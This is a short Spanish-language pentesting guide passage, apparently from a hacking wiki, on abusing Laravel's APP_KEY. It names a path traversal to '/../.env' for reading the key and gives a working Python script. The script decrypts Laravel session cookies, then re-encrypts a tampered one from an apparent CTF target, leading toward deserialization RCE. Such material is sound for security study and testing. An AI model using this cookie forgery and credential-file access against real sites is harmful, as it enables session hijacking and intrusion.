Esto suele ser necesario para explotar otras CVEs de RCE de Laravel.
Laravel guarda la APP que utiliza para encriptar las cookies y otras credenciales dentro de un archivo llamado .env que se puede acceder utilizando alguna travesía de ruta bajo: /../.env
Laravel también mostrará esta información dentro de la página de depuración (que aparece cuando Laravel encuentra un error y está activado).
Usando la APP_KEY secreta de Laravel, puedes desencriptar y re-encriptar cookies:
Copy import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto . Cipher import AES
from phpserialize import loads , dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt ( value , iv ):
global key
AES . key_size = [ len (key) ]
crypt_object = AES . new (key = key, mode = AES.MODE_CBC, IV = iv)
return crypt_object . decrypt (value)
def mcrypt_encrypt ( value , iv ):
global key
AES . key_size = [ len (key) ]
crypt_object = AES . new (key = key, mode = AES.MODE_CBC, IV = iv)
return crypt_object . encrypt (value)
def decrypt ( bstring ):
global key
dic = json . loads (base64. b64decode (bstring). decode ())
mac = dic [ 'mac' ]
value = bytes (dic[ 'value' ], 'utf-8' )
iv = bytes (dic[ 'iv' ], 'utf-8' )
if mac == hmac . new (key, iv + value, hashlib.sha256). hexdigest ():
return mcrypt_decrypt (base64. b64decode (value), base64. b64decode (iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt ( string ):
global key
iv = os . urandom ( 16 )
#string = dumps(string)
padding = 16 - len (string) % 16
string += bytes ( chr (padding) * padding, 'utf-8' )
value = base64 . b64encode ( mcrypt_encrypt (string, iv))
iv = base64 . b64encode (iv)
mac = hmac . new (key, iv + value, hashlib.sha256). hexdigest ()
dic = { 'iv' : iv . decode (), 'value' : value . decode (), 'mac' : mac }
return base64 . b64encode ( bytes (json. dumps (dic), 'utf-8' ))
app_key = 'HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64 . b64decode (app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') Laravel Deserialización RCE
